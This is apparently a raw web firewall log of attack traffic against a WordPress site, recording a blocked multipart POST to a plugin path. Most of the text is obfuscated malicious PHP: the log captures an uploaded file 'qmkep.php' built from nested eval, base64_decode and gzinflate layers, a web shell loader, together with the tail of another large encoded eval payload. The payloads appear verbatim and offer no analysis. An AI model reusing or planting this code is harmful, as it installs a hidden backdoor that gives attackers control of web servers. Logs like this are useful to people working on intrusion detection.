vpbTkVFKpWHASmNb8txcbbv7RvxzWrS3RlQ3Jl7G3gcjuVtIY6ExBY7IF7m1eH5MAQiDNtgbmmYldAnXRn9pRam8Fmv05uvm0TOWZ78N5e39ue7PSUvQnDPbjY1erjcBwqO6Lvn6FV+2cGC1K14GzjGN2wdNhtnORZYkBtTvjmkBLkOICJ65q3Jzghzc9T34YD6Ip3ykrZP1A0EAnTdG7UH5HbTev2lM1g7Z7evPKnjMeihwmfPFx4BknbaO3eQRt6XOtF5yqYWs8ETMLUtQ3k7IPjDTlQT\/A+R95eQc03NqGCioIUgkrxam+sKb87D0nv8hAFCoVycmLVriQr0vp9xYRl7Pk0C4YVN7KqH0w+r3r6JEsuuXXmuOErw4TGJUhOjJh7OJGPs7\/Z9hd4KOAuN1AMAPj+M5FlfG5i2ncKfK+nlOnU8J4\/lImKlPPFiWC2yHXpw7W4Uob4fKd4X9hbMov1IaJob8FfQR+mPobE9JNftd1CdB7uTbnRh843ShPyt\/cN1gFSfoK2ddG+43fGoFfBQ1Pt9\/Sjh\/QyVCsh8tauRjTxGvbSqvh4Csqm22vKv9\/DbO\/kW8Cnx085U6FCbuZhDgbf48frSdpWtiqY4cpR\/LaOPeNIMjgU3aZfL+OGx8KLvbupI2gVqqcX+kCR\/sRcr7aEbyIV5\/m0wv9WtEY4rQOe85Q6uq+cYvcAqZTKmR2tiHQUXPdvX+ovrJxXPG6SZ21r4ommRIJcnVIgNvxyCffVe7DJZhRRRpEdRBzVKTfbyJMNvrMF32FRwkQoC+ue5Vct4vv7mUblXOGwDwiy\/v5sLOSN+SzjoyFmpdFi\/ZlaLvqYtnPRHXJHR5DFByxo3XhATW8QY5fPMtbElWIO3ar0UtvYecz1pku50Dqw+958hOsWUI97F666cA2PsjMiVY82Eo\/zFlmmjnTxoFs8fWZjkQR6F\/aX1ssDMaqYhgqlcIqlNnuvxjJN5ZdT2ouBN9of5ZYmpsG868Q34KI4Glq3nSs0fVHvo0ThjIWsfAoWtYWI1yMrCALerBube4Cdax2eC7HjDsIpvfkQgz4i+M\/rZlvxlZZ6fF2fA5cSdCSelDDADoF\/OaNfyiL5XUj+07eCoL+dJ1frw\/og7T9plGRO80kOEyw\/ODtz3E8LV4M0cQHGsLQlFG\/iqbg8LKGawIeavC8Jti17PJMJvytToMURFvbPDjI914mUGyPI7yNaWlRVrI+SxK59qaEq657\/9Nyx45A3\/EsOF0fkTiCQmDWYjURyJmvV8NMq3ha5ufSZx+JG9BHCkSl5\/kaYEYyF0ZizkvLipFIG6I5hisObN3cuKEurYh3AqLopLk1nscLHcp7YHRxisTAluB3ML\/RIPCOikdeuMfX1ahT2KHkdiQq+\/3+zkxazXaFz2nSR1eS6M1mT5BEx\/xUotabuQMBVvMCACQGeHY6lCyIUZG85yesIO2m3gsffRs6wnwbmZT0vPRu6t0CJ8AQtj7k95obAQlsmDsGDqio+4pI0y1\/DUWbIBLGixqX5kHFRpB1rl\/Fc23SykHJ7CyWpeLGrkkE83SFXiZ10J1PQhNNAQDq9+ioXY\/Hso5E6FYeIdBLrtFf6016EKi60XvT7+kwjPQETkaBMGKx5tzx4VWEEHUm+ek4mxOAWAEABCAsOEoAN5RTbfSHkMvvdeS69C1628sJqLx4kDPREHk2teaVxIqwzGX72ea4Jx0A247p1ZPSN3WXmOBekQdZKqW2C\/iDVNcFkSe2d8Zf9D1DRBpiiJBZP5U+flrIjWBRZ2jEzBSU5OYsoVeaYJpfmuvoZP2StiLBL57G6PVNcSX8U3sZh2LFOLAyPyRJK2zciUx2mWN8U3TSLXXzkpkC6FXO2NwdovXk+7\/3J97Vtzw9WA8C+V1gDahLd21CqvpeS+Em9wpb2yFTP2y8IUz1VTZlz6rz+bCW5OudqpryZ0sltjWt5DTF+7+OpN++QU3unuCTqr5fkSnKVs9LwvZqtoX2sjCjdLja0usRyvb4wsxDDGT8Scwoj\/1XG3klbn5Q5rZVZHJnXVzcGE7FOGHwX1BECFE7vwyrGOviyzOuN9XDpRN2lFfywle+83oneRB1C7RsFkLKWsEkDOYN3PDFVzlOJdTiLdVmuNrJaxRkhvzBxMtmRjhT\/r7Rhvx8qctNKab+1ZQNJ0xgqPvajnITCaYmk5Cx8DNnJcnsWq3h5c\/N2wcrTbcrJxP6TbyeWod0QNR\/Z\/54SHijge95vJWRTbMxTBLKrw38qqrlcxgUDhPiCPaNNPQncxx4lkazu7DhYZKFRZqsCPgPwEAcLdbDXVZxgL\/OKnqEbt+pXGfD5+JgIeRYuZoliX5VqthlSh9G0ECDbgAfbWk5muIyctpjoV2JRm7leY+5rhBMKwKqNElj8AQ42USpsG7vm\/XHNrVTfxNKv8KWpiveDh8lnHk1gyJVnTBtEJ3GxIKgPtkV2hmdQDDSRrvJ21+0sxQZhU5C86OKyTRI9vTzICDIYhyfxNJshQHymnro\/RA2NhEbIFHlvkpxMGM1OO41eR9iz8x5V3fPQ7BLdsMgeIOQwC\/sMxYhxBrviZlCqmOacqa3GPLhl2aX3\/XPocSSgCJCLEnHUzczSbTWfjfX8AB9jTOPoYLcS1CRz2DDXVJKsNV9vWPAjsSMwjW0YZ+PQiIZzl4T506V2YY7E3qFbOaNj1c3eJEoW5CA03TqFCId9zg7hVls7LyXmgN31SUjNPg7VZb\/7AooO9CMY8gF7E3DcNHKXetNLjTdLr7DxUkAEB43bgLdCUiW\/Seq+971OjrDESD9aXqJsy6XFOmV9VRa7rWbAAnOxct4FIACJcmyacJ2eBNZenMpd+uy5dBUomsFzmyVNTl+mi\/eD6pmaAWmUPOr0vPCunCAqJdoCmRwBOKOlWJRa0sVcxYAfkhloD\/52w\/FPv8L0+DuMPpltdM4QYkW0SbksNicX+3pBu\/7EF+OzlJRSKQwxtXSuR0FUFQwoQGlRvVBbYe5PKAhIGC4hVK+GtvFxp4OjVDnwgli59QB5tRbPQjS53Y997YKO+27Q\/7i5xWeV0aMnESNfbB7YE\/uEe7KABCbWgyYbpKDH1LNKATHyg0cx+uJ0ua1EO6jNaPw3hS542CrvlZzXKsB88fZMGidOX0l0XHht8rITlLQJSpoPuVnM0+cNNHR73MVBwwp9k6qpXhVcmdYkl4tmFAv4LWv3zzb+dGnLYsxAn58\/PaLjiu4gW6lTEoAFebIT7uO7YBxC\/JVaADeQVJOtJWd\/7+LO8G5jwSWG7cDebL264fkCJ8Pxcc9a9G6HRTozCJq+PzQD3Zjo9mD+1t5Wn9FCH6\/emae1ZkMUGGTzikQa1HH8Lv0+xXuGAF00YYMX0JKk5Hawu8xrcwuUJtGXXals2\/TT+PnBLtbDpeVPfabfg2r3rO3ytzDEt0ma77shM7HEukynf0A4t\/apDpnFzr5ecKx0ES5aVJKgBHSfsoXuxeVTUGFboa5R302JmElfl3T2hlK2C0mzlgdOuE9BZGaNqkiobgeXKJJ1twDUVAg4pf3ctJpRMylKfbyWYQHnHW2\/NLFAbQ0IrGGVr3EQhNunMnrv7wJaYACBig8vBDZFlWVHzuR2pCbSItn+4H2ZEm4FIAyD+CZr5UIvD9eO3V7DY\/iWOMNkovfh5frdljq5OzsIP6jEPab94ZCdwNDAEAmme87y\/GT\/tK1HRpuJ4Tp2lFrW3p3mzRSE8YCmbGL4NXfo+l6+3MpZAK2m02SvvATuXzFICLM61iG70bD824vLuXT6elMogS6HGG6z9b86Q7g5q4Lr9\/IEMVsOjpk4BhyDjU+6uuXpfk6nOrrETJs468qfdjNL6TB3V4rX0ypxaZmOvcjeCG8fjyHOQCACkGkJDut321dAw5foKh\/kaFaUWqMRF7rIvCXyJAJEABPwUmmwzJkeO5XrCDyOdj3NBex4iaED6bhoPYFGzF3voahtrLrho8zMh2\/UIm6aFIrJSVFCVT+OhHkF12eiGohKNvxz3vuID82Z+JlUn33znZEEM531Jgmp3JQ7zVhfYVLXThGkCLGBLtlZR3EIGPRxucEfTMdx\/VEgStDQqcUzvQSBr2Emo032xS6Ota1WPOEY0pAKJ6fr3Tzlge27k\/08MYUtIHIRRwjzdV62mbJeIfv3QwYn8M7Xa2dieeEMAyklXUv32U2pC4Q0zp+\/htwrcg7Uq372hsZV5g\/260rUx573wxwmfCC6IAqJDF4rK+i52Ok\/TzsMu1WYMBR\/lnblDqfHiSlh65mNSl8P7+JcbUv0syFKCVsJbiVyVL2bbWt+dMTG087w8B8XJG6z\/t06k9gR0COSs6rK1jmNRuggMAiOytv+4IsNfQsIcFSLLebfggykmtXz1yryqQw1ZMoYoP47+mt5ENTGpR04qIhsrjdeqgX\/Q45ZKS7\/MOVhAv0o8WdpeaINkqzZ86pIRWKcV6TN4rBuAUR6PUVvs8C4wYC+yRBTQRUgDGjNNNhoEnybrA+uNOZNC5yJ7ivPhiBzqXZ\/LnXCrtP1uRRN9PmwJmN\/fxka\/4TJDcyw8aXYrCiCKn63L6eAtJwY2VQNypSses8v\/Ii\/nIk2D3jSGXlN9yTdaRAp0PlCDpC5ucBy9x2um9eIA7gcIQOsckBx5SBcUO\/zaDAa2eXgAnVYDhn68GYom4X\/DMbrGFDcof\/QV\/0RpB\/BNeZX4VfA\/2fItbxEYhhwokwQMcn77\/hllhVmajvWdDtgxj\/bFMk7rHTvp6kaRu0USubtlu0tRh0v5b3yz3BiF\/wAtNB5OJtd\/IPCZmaWETFs8WcUOJCcFXrKdWSgP8nfS65rc47MdqpzmskvRtqu0Pt4jUo1NuGpJKlpTInbW6KAKzUbmLXJLTS5lfLrALhAvO5kQfPSYmNMwrV8tx7OzJFAA64wrfMQAAwoqOxCTh2TDl1F8nC44yWulXY0NJAsv0ANN7KbvsNL6b7FlkcRF3RNLlzSuLbINweyPUS4rr+ih\/HAUgorxxDLULm8eSWxe5QpHpwNa5ndLS85mvobD0HFZeuKQbNGcHq3bhetMCFPt7qX\/1\/aceHb6j3kH20mLP1EtchQ753I5d5PFsUNhENYT76jDBfNopHK6sFwDQsmaCm9tMzdyxKMBWmnxd\/seaAS1Ey6v807S1QNfODoJqGkHlCEVfwF12y5A1l9hl+Q9y0mjCu6vrdZ6A\/oYtkaV6aNoFvz2RKM3ecWYX5ZbvYeoP\/LKveNfFEO8h2jQ\/qLLm5bovo\/p5kaomriH61\/7JfOISU98594IPEeTDP2wWqsbPZ7eq3rxiTxEOb+lht+FIthIJIbinmldysslxSt7xFk+HwkUmXUnryA6UupjXQbUdDXuKAEDbx\/vcpOxve80rxEA+CoATH\/Ur6\/XikiNjmJsypY4TygkpQ3vqhT+o3XCGiINptSh6Wqw89Yrh1I3CYOEeR+GZMSed\/I6u7tv7bRQG\/1HIaSOhN\/Bcb4GTPHFKbedzNHD25q26RUOfYbPWV94YZdLuqaaLajFKtuCufEkuuZTwb1q0AhYqKvIbw9visheWSaAXfKQGm68Pbmn2HxLvCMleMqXCufLwqS+3nyPX2nCBc5kUgPCEghzF2xRekXqy9VLtNBkPh+uJTO9KuVYP\/nt7KJ+p9yMPS6WvJYE7Pag1OH45svP9Ni+XyRfNI74IP0tw\/SVktBB2lk5irZaZNQT9g0ZU3tHTK8qfrPxyq4pmCj5RcLs+5rMhj9e18FA+p6wrEguqTQdohVUnHtGBM+SLlgl8IlScfo02POUdQrwq92C0808qUQ3hvJCMwpzifygAXTe2\/LJuGuWR2JB8hat1hB+TPkfUC3fhXtX83xEx2YZEKgcr4tHhyfab0WjK+E+8OXLz41c7LZ0w2eI3TBLpj73+yRKvyTpffT9XNDm8v6MOY79Vd25+aXDmi9Fdn5B8f0W+\/y6Eobt+\/6b+\/Pqevf8WWHn9xqpK6Oq4SH7UWTzm1SH6qWOAsHfz4feSxKSeXgiRFcU1Y9CNkd1vpuVn4MoUkgkAnBupZtLBAP3jQEUTUPzXGtv\/XlEkpKWA8AH2AfWhoHRyNPI0tnYi5CP8P5bQeKgoctaXKf6GTf2NMHRzdnLkoVJWVJcQFtJX1tPSktdXpnQxdDM3NTJ2MtU3NTI1dSL8Xw=='))))); ?>\r\n--1ee92f3bf9255acb36c9a1bcbcdbc0b8--\r\n"]
["2026-04-13 10:29:19","104.219.42.67","POST","\/wp-content\/plugins\/dyeja\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/dyeja\/index.php HTTP\/1.1\npriority:u=0, i\ncontent-type:multipart\/form-data; boundary=3cd518ed2f14ccd4e600224a7c2ec1ed\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:54628\nsec-fetch-dest:document\nconnection:keep-alive\n\n--3cd518ed2f14ccd4e600224a7c2ec1ed\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--3cd518ed2f14ccd4e600224a7c2ec1ed\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--3cd518ed2f14ccd4e600224a7c2ec1ed\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"qmkep.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\neval(base64_decode('ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChfcjVNZTBGTnJoODNVWTl4WnQoJzR0TkNQZFVNTkhHcDM3VExnM2s2cFBZNUNJZjZLV0ZkTXFGRUNoSktYZ1piaTFCRUxwWG1vTTZ6dE12b1BuV2c0ZVFVdlRrYzNQbUFjd21sczRiTEJFUVRTWDFja0pHYXM2Nk50bXdYQWFsaks0dVVNZVBjSm5HVnBUWUh3UnRGM3VUWE1RRFlKMk84dW15R3RHc01zZGtIeEZqVFNxbVkxYmVRYko3eDBMczlXeUo2QVNLOVFyRXpHVGY3SWRQSVByZThtcWhJOWVvZHlGTU5qOVlHUkpEbjRDY2ZKMmtnMmVJb0RiV1BwaFhUYlJQR3ltV1Bkb3oyWlRwbDA2WFFPdExMeDdnc3h2SzNJcms5QlRIMVBxSXNGQm9iS3VBQXZvYzBTb0NLdTkzRGVUTmN0ZFpEeHZabWdHc3N3QUJFSXNPYVVPc0EyTVVLZnU5U3hBSDhKTm9JWEJPQ21QNnlWOWNnVEk2MTdwY0x4WG96TExwNENCZ1k2REtNZ2NreXBhOE1FV0RycGkwdURrc0RKY3A5blkxTVZQMDVsOXc0SE5IQXIzczBjckE4QzBqaHZISEhUWWxMUHhlTmNGb1ZTQ2tNWGlXT1JLVnJiWXJNYVlSU2hXUXEwcEpGaE5rQzd2REoxRzBUQnY1MXBqODJnVFN0MEYyekZDVmJSbGRoNzRRUHNGSFZBa3czT1A3bEtwNTZFOWVua3dqMmc2ZnU0UU9CSGV6U1lsTFNIR0V3RlpiaUJMSEh4U0xSd1drTXpTSDJZOEhndklwV2xPSHZVVmk4MzdYc0dZbm5ETFRLNVhoNU1BV2dNN213ZHZNa2Vud01YbmNudlZGQ3hLb2hRcEJyZVRMdzFpZkpMd3Nmbk5FSjdiM3JldU00c2lENEtpeDFkbEhxbEoyNjJFNWJTTHZTZDh0M1c3Nm5jOVFVUlVtMEpaSVdKY3R5ZHY2ZFIraHZkMmUrN3p6RXZORjVrbzFBQUNCSVViNWsxY3llSDF2ZFZiUklJQkFJQkFLQlFDRGlwL0dULzY4eXY5M2FXRFBZNlBwa2M4ZndCMzdiWUlIN3dmQTd0bU5VL0tmOW15MkQwWU0rNWdhaDMvbVFkWHFXTjI3ZzN3T25iU3diV0tleTVSOXZQUnVNSHFJNEx4bVY0N1dOeWxKL3Zka3dHRFZPSmMyZTM0RC9EMzNQYlZsOUt6UUZEb1Fab3hxODZBL0RDYnNPSUQrdFR0U0RIMFl1ZDF5dGI1NnRibFQzVnkvcXA1dG4rOVV0SXc4RnNuM3JzZDUzQmwyM2xUVmFyc0crbTZjYkc2dFE1T0owczJaK28yZjlnK2djUURJRDF6U1dsNDJSK3d6Ly84QnJ2WTRMVVdCWUR6cUJ3c2xzZTI2emFVMUFBeHlldkhIWC9IWldPenJtVFl1dlVUdVZzTGEzNnNHWVhGdWZxMFFQZU5uZFA5eXBHb3dlZ3ZLYjFiMmpvL1g2aCt6WTZ2ZXRldWgwUXFzYkJtNS9FQUpnK1JVQVZoY2JUWVBSUTlTbDl0TnJDdHdxTzcxU2Myd3dlZ2hFV0k1WCtaQ04xYWtZNHJXUk55ZEJtdG5BNnRYNWUrTVBXVkkyN1JwZWZ6aHcra2kxK0JlOUFjOTNCN1kzYkJtVlJtdHA5Y3hnOUJEY2tzdGw3YUFOTlFiKzhLRnV1MjFvRHJueDk5OWhKTksrbU5sd0VMcFBUbDNDNVlOVGFhK3ZybDBackRjOHViK1VoQ3BrQjI3UDdkYWRuanVBcXVGWG8vSzU3eHpBcDFIOTVMbXJCdWlncyt2Q3k2UGhlZXRFMU0yc0RBQjdPL3oweGJ2dDMvN0UvN0RpVEdmUTlwenViTmpzMlVEci90QWUzUEl2T2RQTWRzSmh3TC9JZC9EbjVNdHM0T3N2b1A5WUROaE5rVW0xOTFQVW1abmhEZUgvOERleW12eWJmWWRQM3dRNnpyQnJQYzdDMzdNdGUzYmdPYjJoN1RlamVqa2QrUytJZkxibEtrQWZQNHBHQkZhRk9XUi9ENG9JM2s2Vys1UElGSlpYRWhpb2Jnb01Gc3NTQTFIQWFmcnJZK2QrRnNTTzBiSGR6Z2orQXBZRTRJK2JzeU8vNmJtakxMVHNHU0E3RkJRbkc5ekhTTXNLTkhKWVNvMGRjdTJxTVhJOCtNWTdvRDRlWGg1dFhHL3V6ZkpXZ1BQdzRRRFRCNVl0Mmt4ZzBIS3hvdUNlTHhraEo4dit3ZGFtd1Rhczl1VklpdFFWcDl1d0JwKytyUFR4UDAzOFQ0WnhZSWgwWnRrRGlOQmZ6emN5N08rRlFySFNHVFRkRVhzS0NwVyswK3o3amN5eTB4M0RCQU9FbDFHTUdZTW5aN0RzQk9PQk1SZ0dub3RBQ2ZBSGdQd1VsQVVJQS82ZXF3eGFUbmVHUkYyZ0lBMFFHOEFEMjhzc1UrbkNNcFN5clNEc2RoMmJmbUVkL2l2RDBRbjh3UXloeEFwRnE3QlErRnVsNzNkOWU2YnBEZjErKzk2MjFBZWo2WGI5MEhnS2lvbE9jR0o4V2JHY3ZvWGQrUFJGTGpFTGk0ZjNnTEt6K0ZDNlZKTE1YTUV4RFh3c05tdDRIK0EvNWtvRy84NDlnbnpyV3gyN2E3bTJBMGozQmgzOEN1MGdTeHBVVDBJSFVNN1Fjd2VlYnlQUUFOSGxZRmN5TXh5YWx3NXRKclBjZFJwVzE1QTFKRUJjUC9qSzhTaVhJRURJV0ZsR0hFUEwrRzZHVG1pNVhjdjhWdHRmWFR2YTM0WmlIUnQ2N1lOOERENzdaN0RPMEVOeUNTOHV4dGQydWs3NFpZVTNqZHdDMDg5cVNTSDhFMWo1MXJ5dEZQOW9PdmUyMDdGbnc3N2Y3enYxa2Q4SlowTzNNOGhIczVMLzdIYUhIdjlQdHYwRFovS2ZnV0Q5eU1sS1Q5YWR4VC9EWkdDNWVBMFVkVDlqZUROc2Nqa21MNXI2TzJEbHdkRG5yMzhBZW4zTDZkcndNVkVEbXNvc2c3UnZERU9ZTUMweElYcEExaThyTUtWd2dKZERXSk5zNDlGdGZsa3BkajU5Y1lBUlBYOGQvbGE4UmlzQU81dzczMU9hajFvSVFIaUhJTVZhcWswNXlWY0FKSEFNTmhheExVMTE1bzRiYTRFQ05lNTZmaE1HbTgrYmVUNXZQTGZkdDNxc1VPbjVnNEhmbUluUEN1bzhkUWFuUnR0dGlHN0lpZkpsNVZPL0FiTzI0WHVmdnVTS3Y2K1VzbEFMWkcwSXJSb3dlUGdYTUU3ZmJVSzdLNXlwZ1VNcmhpbUd5d1FoK3QyRUtuVi9VS2Z5dk5CM0UzU0puZnJ4MmRsT3BHOWw1NXU5YjBvNytkZS9zRmdwa0NwUmRqd0llczV2V1p3aFJsRk1PSTJGcUI5UGZvTTNyRXNxNDJwMWQ5VUF5UklPamFibmhOTVJSZVo2STM1ZjQ0aGd6ZWtZY0FwK01WWXl4RVJTWEdSZW5oUElCbUpPOEhsS0w5NDNyMTZEa1p4Wmd0M2x6SXJxNE56S0xOL2JidGVHT2VBQlB3MGJzUzV5dVFHY1NuSWs0bFdTcll6VUlMazFBTzNiOTdmV1RudnUyS2pRakdBUHphMXFKMUluQzZBeXZqNGVXVVFCNnZRRHJ1NTlONHRKaHVIS25oamEyQmRTN1E0SHhjOTlVS3ByNjlabXZQRjNjTzNyV0dCamFyK0FFd2w0WjNuVzBFc2FTUFQrNEUrMlBERmhSUDlUTVRJcTU0dmpuU0VJSlU0RnFiSVdiMDRmWVY5UTJoLzFQZmtTOE00d00yTWd6czJSSFMweDhDWmpMdGZ0ak5yMXdHZFFwYitDdXBNc3lsRXNmdXZZQTZzSDJ6QzMyYkcveXBVc1IyK05mSXdtK2N4dkgyNXpINyt6Ly9ZdCt6Rzh2VzNhLzVqOUxaUGxaZXR0cHg5UU4yb0xDM3Zuc0tzY2VRZTJWTExab05OMm5aMXUxd2M1cWt0NjNOZjVaNVB2cFQ3MUZGd005MEdmNm15Rlo0cGpCeUFSdzNyRE55cUY3WnNMVUxmNmZua3psRzE1dDh3MEU2dUdCRWR3R0JHVnlnOWdpMkZVTm9mSE4zM1VsN0E1aVRRbk1ZelBRQkQyNDhSQ0plSFM4REJDUjZBcEdPaGQ4NmJTUHgrVVlUVlphQSszMVRZdzYrRlNpRnNpN1BPeXdLaENCR2FFdWJBWjhDOTVJRUhHeU9mNHJ5eHNCWEJ6Sm5Rc0RwZlJFQW53dVV3QlpCYm80LzFicWhkalVDQU85QjAvSkdZSXZEVStZQTI1eTdSeGM1TTNGMmUyenM1TlpCM1lpS0ZHcFVBOXd0cnNmbzA2UUtQR3FNdHFsNWdRRHdBa2RJbXhTQzR3VXJFajZRWHI3STZRWGlTMkdHbVNTb0M4cTBPWlNUVlEyVENtemx4YS9CbE5ZTm1Uck5BNytLYkUwbmJIei9QQi9xckJhQ01yK21FK3VWdkRmU0NiZVhoVXJRRjNtRm5IYzF0T0U3YXk1NzFGbE1tWEcvVlNXOG1GeHMxU2V3TVk5dnIrY2x1cEhabTRzaUdWQzJEYVRiSE0wYUlYV3l4MFRWd3V4Zkd1VGxEa2p5bFNESlZ6M0wwRm5lUGxwcHRRWk9DREhTazRwTkxFTlZ1eGZJbzFFc3RQVlYrbkY1bWluMnBLNHlEMGcrVW0yc0o2Uml0NGl3SUp6Y3djN3h6ek1SemF6dE9tcmt1ZUhwNXZWdzIyczFOL09GUEQwNXcvcVFGdlh6NGVqSy9lT2ptZjNibjdHNUIxQ3d1TnNlU0xHSm1oeTdqRnZONDhBdEJVV3BONXlOQVRjemt1UENaR01qWjN1WXpiUHpqYjZUdWU1ODdtVEM3b2ptQXd6V3l6T2w3RDNiM1QzUVJRYXFPUGtuWnNkWVBRYmM1eVhudFRyVXdrQTZpemJIOHgzSkR5anN2TjVmZHBnRWJsK3FDNDd4dU02SzVMZGhvQ1JsU2JYRUdvWlViVjN5Q0U2anZWMHljWXBQTGNmTFJ6b0gwQnJJQ1JxalYzR2d4aFJhQ0g1SXFIL3ZVUjZGOFhaLzF4KzRVUmRwdExOeGV3cGVDUFNaUlh0OHNlTUJ3QmswTDg1WEVXU0ZIRGpBQm9uWjBpMW5iRGFuQnFNR0p3S1U1cHdyNTNmSDVOSWR3Y25lOEN2aVRyVXZWVkdnZEdtTXJoS0haN1lnb250MS9hWm9NNW51OVZCUE9hNlNJdEt3d0swUmJ0U0lnMkdHdTVFZnpmc2FONXo0YkdrQ3hIYXdFN2Z0NWZPRTlmSDBsR01TS3JzbHB2MkkvQTBTZDN6WlkwV1lGMFFsRmxsanE0SXAyN1llKzNZdWMzV0pKc0lKZlQ1OG9lbjhNNGhlMVdONEFoS0JjT2xoNlZxQnZJdzR2cms4TkhXT3crMzVmS3JrTEtiM2t1V3VJcm40dldIaXpZeDhQVE9TWHlKdFVkYklVQXNPNkZyMHkzNWpSNWplQU5rTmU2bEhhSys5dEFuRTZ0dHg0a2VxbjYrUE1mc3orTWNkTnZUT3NxNGNrSTY4bUpTY2l4eGwxajNFeTA4YlA0NFlmUkdSaWRXU09QL3o3Q3Y4NXMxSEx1SDdOWlhpRGZIRXhyblVhSTBYaEpFcUJOZ0lzZjJWRWFCMFowZjZtanBZNlJ4MytwVVNQL1VzZXBTNHlHK2lXZ0gwZTN0eFZyR2hpaVBxT3hrUExIeE9IaXBqUjl4eVFrZzdhRjBvUXdzVGdqV2F6MExaaWFFN29XMmY5WlkvTzZwUFpVUDFPbGJuU0dsTE0rWkoxbjJHeTdmU2VVTzZtY0NWcEFyKzYwck5ETUltKzZIdWl5Szh0R0J0L2phMWh1aGU3R1g0dS9jUkhPQWo1aDMzbEVsc2RQNGljZVJ2SFAwZEVVaDRlL01uVEFBcFN6dVBEVThmMzZtOXluWmRkUEozcDhiVi9zZ1JiaEZJN205eUlkK1AvKzkzK2k3akYyN2pQdjJzTytYaU9TV1h5QXhOS3gvcmwvZmdEcitrS3h1NjZ3K0orSUJBNXpZbWNnVm9ma2ZrRmJDS2czckhad2ZtaEpuZWZKYlEyN3FFcjhEd1JiYVo5ZWRIWkJxejZjZDYrVWJMUFgyc0U2N011cW5aYWFzRG1oaUNIalptSHd1a0hQaFQvUlh0dXdCbGJUYURxRHZoOEV3NXFaN1ZsOTY5aDJhbWkvQWRKMjlxNEJpMHQ3cVhjWlgvdmw1QnQzTnR0YkJsdmFEbTd1Vkxjek9VNUJMdlhxSUxKY0lkMjZEK0c0aDFwWDF1ZysxTVlIMkpmdjN3ZzdwSWlaV21IS3NWaHRhYjBQVXB3Nm5McFVFdHFzN0o0OTlTUGM5azlxdGNtV0J6YW9nTDZOTFliVFdxUk9NaUtLZ2dlaTIrb2ZUUVhvMnY0VWNPRnE2YlFGeEwxb2o0N1ZVSmw5dDFsM21zT3VEWlJJbTRCNUxHR0lFcmpGNkJsUVltTGt1djVsK3hvRTk5N2pzYWVMVGpsdXhDQ01pc1VhQjIzZmVhRmwvRHk5MlhuWTQrMEEyL0t4a1lNaUo3YlFnSitPRHdZRGcxSDM5V0Z4K20zWXFSeFBKV1U3bUVKSkdtSG1QMnpOdDZMT2JKNnVYcDV0SGRYazBUcHN4eDF1R3NxYnNCMGJEVnArYUlCUTZqc1R2Vmg2MmtFZG5SNUtodkxER2FIeXpocVBkRElUYVY2b0lLbWpFbVZ0STVyejRuSlhMZlJKRVA4NTJocmh1WTRmd0xhSUR1UE5GYzhLd2s5ZmpJcDJBb1N2dEpNWWNRYkQ4SStleTdjUGp4L0VrVXplK3hEdlR5UXF2YjJnWkJ0c3k5MGR5ajAwaUhsUUMxRjMrMjZHc21RZHo2eFFTNHlzWjMrODhqMnZ2bTZoSmdJeWhSZlpTTkwyMFczTlFiUDBpQ3dXT2RpWWRZZklkY2h2b1BCWmdaVWlzWGdSZzM5ZWhTYWFscitmYUlCenpDU3NLWnhETE1PSWJmVnBnTEt4N2ptQlB6bjE0SXNCWDQ2U1BTT3FNcUx4S3dvYlltR2hOZzF6ZUR4dys3REhsc3lvNjNEYjUvVUNhSm9rWktXSVh4dmVMY0hHang0U1owRGFBWDE4NEhnbUdud2lxNVM1c0xCNHZHNlNMUXBwT1BDR3ZtMnZRbXZoZWJJTG5ldkZKV0I4ZWtTZ1JSM3JMZUJoWHpBWU9EVkROSk5zNFg1emUvL1lZUFNJQ080OENyaWtLVndZdFFueVhzd0Y3aEMya3Z3UmQ4aXBQRDBjSFZ5aWxhL3VlQkZVd0hiV0djSVMvY2tlT0o5TWZzYU5nMEZzMFhWYlhCVGdMZ1BtM2lTbmJuakRlZGdNaHNYUHdZT2FMRFJWTWl2V3B5L2ZSNDc3K0czRnpHVnVteU1ZM3lCekN3ckhMVytNL2d5N3ZuOEd2T2h1Wlc2emJWTWRZSmgvTTVkYlRyOWpXRitNMEJsbmNDOW1FZ3lCS2s0ZVBFNnJoNXp2dEcrRytIU2FSUGZLVzd3SEd2UXVDaEZiVEVGMzVEZXRUdmpuMENVWTZlaHEzNmFpUzJSbFJHUTFaRUpSL0dTRFBqWnR4RVNaRkJhaHZqUGlCamxkTnM0ZlR2Y050ck81dFhu